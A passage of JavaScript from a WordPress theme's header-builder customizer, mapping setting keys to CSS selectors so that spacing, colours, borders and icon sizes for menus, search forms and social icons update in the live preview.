        'setting(penci_header_pb_wishlist_icon_section)(penci_header_pb_wishlist_icon_section_btnspacing)': '.penci-builder-elements.pcheader-icon.wishlist-icon > a',
        'setting(penci_header_pb_mobile_menu_section)(penci_header_pb_mobile_menu_btnspacing)': '.navigation .button-menu-mobile',
        'setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_btnspacing)': '.pc-builder-element a.penci-menuhbg-toggle',
        'setting(penci_header_pb_logo_sidebar_section)(penci_header_pb_logo_sidebar_spacing)': '.penci-builder-mobile-sidebar-nav .pc-builder-element.pb-logo-sidebar-mobile',
        'setting(penci_header_pb_logo_sticky_section)(penci_header_pb_logo_sticky_spacing)': '.pc-builder-element.pc-logo-sticky',
        'setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_spacing)': '.penci-builder-element.mobile-social',
        'setting(penci_header_pb_html_ad_mobile_section)(penci_header_builder_pb_html_mobile_spacing)': '.penci-builder-element.penci-html-ads-mobile',
        'setting(penci_header_pb_html_ad_mobile_2_section)(penci_header_builder_pb_html_mobile_2_spacing)': '.penci-builder-element.penci-html-ads-mobile-2',
        'setting(penci_header_pb_html_ad_section)(penci_header_builder_pb_html_spacing)': '.penci-builder-element.penci-html-ads-1',
        'setting(penci_header_pb_html_ad_2_section)(penci_header_builder_pb_html_2_spacing)': '.penci-builder-element.penci-html-ads-2',
        'setting(penci_header_pb_html_ad_3_section)(penci_header_builder_pb_html_3_spacing)': '.penci-builder-element.penci-html-ads-3',
        'setting(penci_header_pb_darkmode_section)(penci_header_pb_darkmode_spacing)': '.pc-dmswitcher-element',
        'setting(penci_header_pb_bookmark_section)(penci_header_pb_bookmark_spacing)': '.penci-builder-element.top-search-classes.penci-header-bookmark-element > a',
    };

    $.each($element_spacings, function (item_key, item_value) {
        wp.customize(item_key, function (value) {
            value.bind(function (newval) {
                spacing_elements(newval, item_value);
            });
        });
    });

    // builder css

    var $color_css = {
        'setting(penci_header_pb_search_icon_section)(penci_header_search_icon_color)': '.pc-builder-element.penci-top-search .search-click',
        'setting(penci_header_pb_search_icon_section)(penci_header_search_icon_hv_color)': '.pc-builder-element.penci-top-search .search-click:hover',
        'setting(penci_header_pb_search_icon_section)(penci_header_search_icon_bcolor)': {
            'border-color': '.pc-builder-element.penci-top-search .search-click'
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_icon_bhcolor)': {
            'border-color': '.pc-builder-element.penci-top-search .search-click:hover'
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_button_bgcolor)': {
            'background-color': '.pc-builder-element.penci-top-search .search-click'
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_button_bghcolor)': {
            'background-color': '.pc-builder-element.penci-top-search .search-click:hover'
        },
        'setting(penci_header_pb_search_icon_section)(penci_header_search_btnborder_style)': {
            'border-style': '.pc-builder-element.penci-top-search .search-click'
        },
        'setting(penci_header_pb_date_time_section)(penci_header_pb_data_time_color)': '.penci-builder-element.penci-data-time-format',
        'setting(penci_header_pb_login_register_section)(penci_header_pb_login_register_color)': '.pc-header-element.pc-login-register a',

        // main menu
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_menu_color)': '.pc-builder-element.pc-main-menu .navigation .menu > li > a,.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu a',
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_menu_hv_color)': '.pc-builder-element.pc-main-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-main-menu .navigation .menu > li:hover > a,.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu a:hover',
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_menu_active_color)': '.pc-builder-element.pc-main-menu .navigation .menu li.current-menu-item > a,.pc-builder-element.pc-main-menu .navigation .menu > li.current_page_item > a,.pc-builder-element.pc-main-menu .navigation .menu > li.current-menu-ancestor > a,.pc-builder-element.pc-main-menu .navigation .menu > li.current-menu-item > a',
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_submenu_color)': '.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu li a',
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_submenu_hv_color)': '.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu li a:hover',
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_submenu_activecl)': '.pc-builder-element.pc-main-menu .navigation .menu .sub-menu li.current-menu-item > a,.pc-builder-element.pc-main-menu .navigation .menu .sub-menu > li.current_page_item > a,.pc-builder-element.pc-main-menu .navigation .menu .sub-menu > li.current-menu-ancestor > a,.pc-builder-element.pc-main-menu .navigation .menu .sub-menu > li.current-menu-item > a',
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_menu_bg_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu > li > a'
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_menu_line_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation ul.menu > li > a:before, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu > ul > li > a:before'
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_menu_bg_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li > a:hover, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li:hover > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current-menu-item > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current_page_item > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, .pc-builder-element.pc-main-menu .navigation.menu-item-padding .menu > li.current-menu-item > a'
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_mega_bg_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega), .pc-builder-element.pc-builder-menu.pc-main-menu .navigation.menu-style-1 .penci-megamenu .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation.menu-style-1 .penci-megamenu .penci-mega-child-categories a.cat-active:before',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_mega_child_cat_bg_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.cat-active'
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_mega_post_date_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-date',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_mega_post_category_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-main-menu .penci-megamenu .penci-mega-thumbnail .mega-cat-name',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_mega_post_title_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_mega_accent_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu .penci-megamenu .penci-mega-child-categories a:hover, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a:hover',
            'background-color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_mega_border_style2)': {
            'border-color': '.pc-builder-element.pc-builder-menu.pc-main-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a::after',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_submenu_bordercolor)': {
            'border-color': '.pc-builder-element.pc-main-menu .penci-dropdown-menu,.pc-builder-element.pc-main-menu .navigation .menu .sub-menu, .pc-builder-element.pc-main-menu .navigation ul.menu > li.megamenu > ul.sub-menu,.pc-builder-element.pc-main-menu .navigation ul.menu ul.sub-menu li > a, .pc-builder-element.pc-builder-menu.pc-main-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active',
            'background-color': '.pc-builder-element.pc-main-menu .menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before,.pc-builder-element.pc-main-menu .navigation ul.menu > li.megamenu > ul.sub-menu > li:before, .pc-builder-element.pc-main-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.all-style:before, .pc-builder-element.pc-main-menu .navigation .penci-megamenu .penci-mega-child-categories:after',
            'border-top-color': '.pc-builder-element.pc-main-menu .navigation.menu-style-2 .menu .sub-menu',
            'border-bottom-color': '.pc-builder-element.pc-main-menu .navigation.menu-style-3 .menu .sub-menu:before',
            'border-right-color': '.pc-builder-element.pc-main-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:before',
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_penci_submenu_bgcolor)': {
            'border-bottom-color': '.pc-builder-element.pc-main-menu .navigation.menu-style-3 .menu .sub-menu:after',
            'border-right-color': '.pc-builder-element.pc-main-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:after',
            'background-color': '.pc-builder-element.pc-main-menu .navigation ul.menu > li.megamenu > ul.sub-menu, .pc-builder-element.pc-main-menu .navigation .menu .sub-menu, .pc-builder-element.pc-main-menu .navigation .menu .children'
        },
        'setting(penci_header_pb_main_menu_section)(penci_header_pb_main_menu_drop_border_style2)': {
            'background-color': '.pc-builder-element.pc-main-menu .navigation.menu-style-2 ul.menu ul.sub-menu:before'
        },

        // second menu
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_menu_color)': '.pc-builder-element.pc-second-menu .navigation .menu > li > a,.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu a',
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_menu_hv_color)': '.pc-builder-element.pc-second-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-second-menu .navigation .menu > li:hover > a,.pc-builder-element.pc-second-menu .navigation ul.menu ul a:hover',
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_menu_active_color)': '.pc-builder-element.pc-second-menu .navigation .menu li.current-menu-item > a,.pc-builder-element.pc-second-menu .navigation .menu > li.current_page_item > a,.pc-builder-element.pc-second-menu .navigation .menu > li.current-menu-ancestor > a,.pc-builder-element.pc-second-menu .navigation .menu > li.current-menu-item > a',
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_submenu_color)': '.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu li a',
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_submenu_hv_color)': '.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu li a:hover',
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_submenu_activecl)': '.pc-builder-element.pc-second-menu .navigation .menu .sub-menu li.current-menu-item > a,.pc-builder-element.pc-second-menu .navigation .menu .sub-menu > li.current_page_item > a,.pc-builder-element.pc-second-menu .navigation .menu .sub-menu > li.current-menu-ancestor > a,.pc-builder-element.pc-second-menu .navigation .menu .sub-menu > li.current-menu-item > a',
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_menu_bg_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu > li > a'
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_menu_line_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation ul.menu > li > a:before, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu > ul > li > a:before'
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_menu_bg_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li > a:hover, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li:hover > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current-menu-item > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current_page_item > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, .pc-builder-element.pc-second-menu .navigation.menu-item-padding .menu > li.current-menu-item > a'
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_mega_bg_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega), .pc-builder-element.pc-builder-menu.pc-second-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation.menu-style-1 .penci-megamenu .penci-mega-child-categories a.cat-active:before',
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_mega_child_cat_bg_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.cat-active'
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_mega_post_date_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-date',
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_mega_post_category_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-second-menu .penci-megamenu .penci-mega-thumbnail .mega-cat-name',
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_mega_post_title_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a',
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_mega_accent_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu .penci-megamenu .penci-mega-child-categories a:hover, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a:hover',
            'background-color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_mega_border_style2)': {
            'border-color': '.pc-builder-element.pc-builder-menu.pc-second-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a::after',
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_submenu_bordercolor)': {
            'border-color': '.pc-builder-element.pc-second-menu .penci-dropdown-menu,.pc-builder-element.pc-second-menu .navigation .menu .sub-menu, .pc-builder-element.pc-second-menu .navigation ul.menu > li.megamenu > ul.sub-menu,.pc-builder-element.pc-second-menu .navigation ul.menu ul.sub-menu li > a, .pc-builder-element.pc-builder-menu.pc-second-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active',
            'background-color': '.pc-builder-element.pc-second-menu .menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before,.pc-builder-element.pc-second-menu .navigation ul.menu > li.megamenu > ul.sub-menu > li:before, .pc-builder-element.pc-second-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.all-style:before, .pc-builder-element.pc-second-menu .navigation .penci-megamenu .penci-mega-child-categories:after',
            'border-top-color': '.pc-builder-element.pc-second-menu .navigation.menu-style-2 .menu .sub-menu',
            'border-bottom-color': '.pc-builder-element.pc-second-menu .navigation.menu-style-3 .menu .sub-menu:before',
            'border-right-color': '.pc-builder-element.pc-second-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:before',
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_penci_submenu_bgcolor)': {
            'border-bottom-color': '.pc-builder-element.pc-second-menu .navigation.menu-style-3 .menu .sub-menu:after',
            'border-right-color': '.pc-builder-element.pc-second-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:after',
            'background-color': '.pc-builder-element.pc-second-menu .navigation ul.menu > li.megamenu > ul.sub-menu, .pc-builder-element.pc-second-menu .navigation .menu .sub-menu, .pc-builder-element.pc-second-menu .navigation .menu .children'
        },
        'setting(penci_header_pb_second_menu_section)(penci_header_pb_second_menu_drop_border_style2)': {
            'background-color': '.pc-builder-element.pc-second-menu .navigation.menu-style-2 ul.menu ul.sub-menu:before'
        },

        // third menu
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_menu_color)': '.pc-builder-element.pc-third-menu .navigation .menu > li > a,.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu a',
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_menu_hv_color)': '.pc-builder-element.pc-third-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-third-menu .navigation .menu > li:hover > a,.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu a:hover',
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_menu_active_color)': '.pc-builder-element.pc-third-menu .navigation .menu li.current-menu-item > a,.pc-builder-element.pc-third-menu .navigation .menu > li.current_page_item > a,.pc-builder-element.pc-third-menu .navigation .menu > li.current-menu-ancestor > a,.pc-builder-element.pc-third-menu .navigation .menu > li.current-menu-item > a',
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_submenu_color)': '.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu li a',
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_submenu_hv_color)': '.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu li a:hover',
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_submenu_activecl)': '.pc-builder-element.pc-third-menu .navigation .menu .sub-menu li.current-menu-item > a,.pc-builder-element.pc-third-menu .navigation .menu .sub-menu > li.current_page_item > a,.pc-builder-element.pc-third-menu .navigation .menu .sub-menu > li.current-menu-ancestor > a,.pc-builder-element.pc-third-menu .navigation .menu .sub-menu > li.current-menu-item > a',
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_menu_bg_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu > li > a'
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_menu_line_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation ul.menu > li > a:before, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu > ul > li > a:before'
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_menu_bg_hv_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu > li > a:hover,.pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li > a:hover, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li:hover > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current-menu-item > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current_page_item > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current-menu-ancestor > a, .pc-builder-element.pc-third-menu .navigation.menu-item-padding .menu > li.current-menu-item > a'
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_mega_bg_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega), .pc-builder-element.pc-builder-menu.pc-third-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation.menu-style-1 .penci-megamenu .penci-mega-child-categories a.cat-active:before',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_mega_child_cat_bg_color)': {
            'background-color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.cat-active'
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_mega_post_date_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-date',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_mega_post_category_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-third-menu .penci-megamenu .penci-mega-thumbnail .mega-cat-name',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_mega_post_title_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_mega_accent_color)': {
            'color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu .penci-megamenu .penci-mega-child-categories a:hover, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation .menu .penci-megamenu .penci-mega-latest-posts .penci-mega-post .post-mega-title a:hover',
            'background-color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation .penci-megamenu:not(.penci-block-mega) .penci-mega-thumbnail .mega-cat-name',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_mega_border_style2)': {
            'border-color': '.pc-builder-element.pc-builder-menu.pc-third-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a::after',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_submenu_bordercolor)': {
            'border-color': '.pc-builder-element.pc-third-menu .penci-dropdown-menu,.pc-builder-element.pc-third-menu .navigation .menu .sub-menu, .pc-builder-element.pc-third-menu .navigation ul.menu > li.megamenu > ul.sub-menu,.pc-builder-element.pc-third-menu .navigation ul.menu ul.sub-menu li > a, .pc-builder-element.pc-builder-menu.pc-third-menu .navigation.menu-style-1 .penci-megamenu:not(.penci-block-mega) .penci-mega-child-categories a.cat-active',
            'background-color': '.pc-builder-element.pc-third-menu .menu-style-2 .penci-megamenu .penci-content-megamenu .penci-mega-latest-posts .penci-mega-post:before,.pc-builder-element.pc-third-menu .navigation ul.menu > li.megamenu > ul.sub-menu > li:before, .pc-builder-element.pc-third-menu .navigation.menu-style-2 .penci-megamenu .penci-mega-child-categories a.all-style:before,.pc-builder-element.pc-third-menu .navigation .penci-megamenu .penci-mega-child-categories:after',
            'border-top-color': '.pc-builder-element.pc-third-menu .navigation.menu-style-2 .menu .sub-menu',
            'border-bottom-color': '.pc-builder-element.pc-third-menu .navigation.menu-style-3 .menu .sub-menu:before',
            'border-right-color': '.pc-builder-element.pc-third-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:before',
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_penci_submenu_bgcolor)': {
            'border-bottom-color': '.pc-builder-element.pc-third-menu .navigation.menu-style-3 .menu .sub-menu:after',
            'border-right-color': '.pc-builder-element.pc-third-menu .navigation.menu-style-3 .menu .sub-menu .sub-menu:after',
            'background-color': '.pc-builder-element.pc-third-menu .navigation ul.menu > li.megamenu > ul.sub-menu, .pc-builder-element.pc-third-menu .navigation .menu .sub-menu, .pc-builder-element.pc-third-menu .navigation .menu .children'
        },
        'setting(penci_header_pb_third_menu_section)(penci_header_pb_third_menu_drop_border_style2)': {
            'background-color': '.pc-builder-element.pc-third-menu .navigation.menu-style-2 ul.menu ul.sub-menu:before'
        },

        // search
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_bg_color)': {
            'background-color': '.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input'
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_border_color)': {
            'border-color': '.penci-builder-element.pc-search-form-desktop form.pc-searchform input.search-input'
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_btntxt_color)': {
            'color': '.pc-search-form-desktop form.pc-searchform i, .penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-desktop .searchsubmit,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-desktop .searchsubmit'
        },
        'setting(penci_header_pb_search_form_section)(penci_header_pb_search_form_btn_color)': {
            'background-color': '.penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-desktop .searchsubmit,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-desktop .searchsubmit'
        },

        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_bg_color)': {
            'background-color': '.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input'
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_border_color)': {
            'border-color': '.penci-builder-element.pc-search-form-sidebar form.pc-searchform input.search-input'
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_btntxt_color)': {
            'color': '.pc-search-form-sidebar form.pc-searchform i, .penci-builder-element.pc-search-form.search-style-icon-button.pc-search-form-sidebar .searchsubmit,.penci-builder-element.pc-search-form.search-style-text-button.pc-search-form-sidebar .searchsubmit'
        },
        'setting(penci_header_pb_search_form_sidebar_section)(penci_header_pb_search_form_sidebar_btn_color)': {
            'background-color': '.penci-builder-element.pc-search-form-sidebar.search-style-icon-button .searchsubmit,.penci-builder-element.pc-search-form-sidebar.search-style-text-button .searchsubmit'
        },
        // social icon dekstop
        'setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_icon_size)': {
            'font-size': '.penci-builder-element.desktop-social.header-social a i',
        },
        'setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_icon_w)': {
            '--pchb-socialw': '.pc-wrapbuilder-header',
        },
        'setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_item_spacing)': {
            'margin-right': 'body:not(.rtl) .penci-builder-element.desktop-social .inner-header-social a',
            'margin-left': 'body.rtl .penci-builder-element.desktop-social .inner-header-social a',
        },

        'setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_bg_color)': {
            'background-color': '.penci-builder-element.desktop-social .inner-header-social a i',
        },

        'setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_border_color)': {
            'border-color': '.penci-builder-element.desktop-social .inner-header-social a i',
        },

        'setting(penci_header_pb_social_icon_section)(penci_header_pb_social_icon_section_color)': {
            'color': '.penci-builder-element.desktop-social .inner-header-social a,.penci-builder-element.desktop-social .inner-header-social a i',
        },


        // social icon mobile
        'setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_icon_size)': {
            'font-size': '.penci-builder-element.mobile-social a i',
        },
        'setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_icon_w)': {
            '--pchb-m-socialw': '.pc-wrapbuilder-header',
        },
        'setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_item_spacing)': {
            'margin-right': 'body:not(.rtl) .penci-builder-element.mobile-social .inner-header-social a',
            'margin-left': 'body.rtl .penci-builder-element.mobile-social .inner-header-social a',
        },
        'setting(penci_header_pb_hamburger_menu_section)(penci_header_pb_hamburger_menu_color)': {
            'background-color': '.pc-builder-element a.penci-menuhbg-toggle .lines-button:after, .pc-builder-element a.penci-menuhbg-toggle.builder .penci-lines:before,.pc-builder-element a.penci-menuhbg-toggle.builder .penci-lines:after',
        },

        'setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_bg_color)': {
            'background-color': '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a i',
        },

        'setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_border_color)': {
            'border-color': '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a i',
        },

        'setting(penci_header_pb_social_icon_mobile_section)(penci_header_pb_social_icon_mobile_section_color)': {
            'color': '.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a,.penci-builder-element.mobile-social .penci-social-textaccent.inner-header-social a i',
        },


        // font size
        'setting(penci_header_pb_cart_icon_section)(penci_header_pb_cart_icon_section_size)': {
            'font-size': '.pb-header-builder.cart-icon .top-search-classes a.cart-contents > i, .pb-header-builder.cart-icon .top-search-classes.shoping-cart-icon > a > i',
        },
